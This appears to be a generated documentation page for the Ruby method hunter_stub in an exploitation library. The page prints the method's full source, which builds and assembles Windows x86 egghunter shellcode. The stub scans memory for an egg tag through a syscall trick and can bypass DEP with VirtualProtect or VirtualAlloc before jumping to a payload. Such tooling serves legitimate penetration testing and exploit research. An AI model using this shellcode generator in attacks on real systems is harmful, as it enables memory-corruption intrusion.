module Rex::Exploitation::Egghunter::Windows::X86

Constants

Alias

Public Instance Methods

hunter_stub(payload, badchars = '', opts = {}) click to toggle source

The egg hunter stub for win/x86.

# File lib/rex/exploitation/egghunter.rb, line 43
      def hunter_stub(payload, badchars = '', opts = {})

        startreg      = opts[:startreg]
        searchforward = opts[:searchforward]

        raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
        marker = "0x%x" % opts[:eggtag].unpack('V').first

        checksum = checksum_stub(payload, badchars, opts)

        startstub = ''
        if startreg
          if startreg.downcase != 'edx'
            startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
          else
            startstub = "\n\tjmp next_addr"
          end
        end
        startstub << "\n\t" if startstub.length > 0

        # search forward or backward ?
        flippage = "\n\tor dx,0xfff"
        edxdirection = "\n\tinc edx"

        if searchforward.to_s.downcase == 'false'
          # go backwards
          flippage = "\n\txor dl,dl"
          edxdirection = "\n\tdec edx"
        end

        # other vars
        getpointer   = ''
        getsize      = ''
        getalloctype = ''
        getpc        = ''
        jmppayload   = "jmp edi"

        apireg = opts[:depreg] || 'esi'
        apidest = opts[:depdest]
        depsize = opts[:depsize]

        freeregs = [ "esi", "ebp", "ecx", "ebx" ]

        reginfo = {
          "ebx"=>["bx","bl","bh"],
          "ecx"=>["cx","cl","ch"]
        }

        if opts[:depmethod]

          if freeregs.index(apireg) == nil
            getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
            apireg = freeregs[0]
          end
          freeregs.delete(apireg)

          if opts[:depmethod].downcase == "virtualalloc"
            depsize = 0xfff
          end

          if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
            if apidest
              if freeregs.index(apidest) == nil
                getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
                apidest = freeregs[0]
              end
            else
              getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
              apidest = freeregs[0]
            end
            freeregs.delete(apidest)
          end


          sizereg = freeregs[0]

          if not depsize
            depsize = payload.length * 2
            if opts[:depmethod]
              if opts[:depmethod].downcase == "copy_size"
                depsize = payload.length
              end
            end
          end

          if depsize <= 127
            getsize << "push 0x%02x\n\t" % depsize
          else
            sizebytes = "%04x" % depsize
            low = sizebytes[2,4]
            high = sizebytes[0,2]
            if sizereg == "ecx" || sizereg == "ebx"
              regvars = reginfo[sizereg]
              getsize << "xor #{sizereg},#{sizereg}\n\t"
              if low != "00" and high != "00"
                getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
              elsif low != "00"
                getsize << "mov #{regvars[1]},0x%s\n\t" % low
              elsif high != "00"
                getsize << "mov #{regvars[2]},0x%s\n\t" % high
              end
            end
            if sizereg == "ebp"
              if low != "00" and high != "00"
                getsize << "xor #{sizereg},#{sizereg}\n\t"
                getsize << "mov bp,0x%s\n\t" % sizebytes
              end
            end
            # last resort
            if getsize == ''
              blockcnt = 0
              vpsize = 0
              blocksize = depsize
              while blocksize > 127
                blocksize = blocksize / 2
                blockcnt += 1
              end
              getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
              vpsize = blocksize
              depblockcnt = 0
              while depblockcnt < blockcnt
                getsize << "add #{sizereg},#{sizereg}\n\t"
                vpsize += vpsize
                depblockcnt += 1
              end
              delta = depsize - vpsize
              if delta > 0
                getsize << "add #{sizereg},0x%02x\n\t" % delta
              end
            end
            if opts[:depmethod].downcase == "virtualalloc"
              getsize << "inc #{sizereg}\n\t"
            end

            getsize << "push #{sizereg}\n\t"

          end

          getalloctype = getsize

          case opts[:depmethod].downcase
            when "virtualprotect"
              jmppayload = "push esp\n\tpush 0x40\n\t"
              jmppayload << getsize
              jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
            when "virtualalloc"
              jmppayload = "push 0x40\n\t"
              jmppayload << getalloctype
              jmppayload << "push 0x01\n\t"
              jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
            when "copy"
              jmppayload = getpc
              jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
            when "copy_size"
              jmppayload = getpc
              jmppayload << getsize
              jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
          end
        end

        jmppayload << "\n" if jmppayload.length > 0

        assembly = <<EOS
#{getpointer}
#{startstub}
check_readable:
  #{flippage}
next_addr:
  #{edxdirection}
  push edx
  push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
  pop eax
  int 0x2e
  cmp al,5
  pop edx
  je check_readable
check_for_tag:
  ; check that the tag matches once
  mov eax,#{marker}
  mov edi,edx
  scasd
  jne next_addr
  ; it must match a second time too
  scasd
  jne next_addr
  ; check the checksum if the feature is enabled
#{checksum}
  ; jump to the payload
  #{jmppayload}
EOS

        assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string

        # return the stub
        assembled_code
      end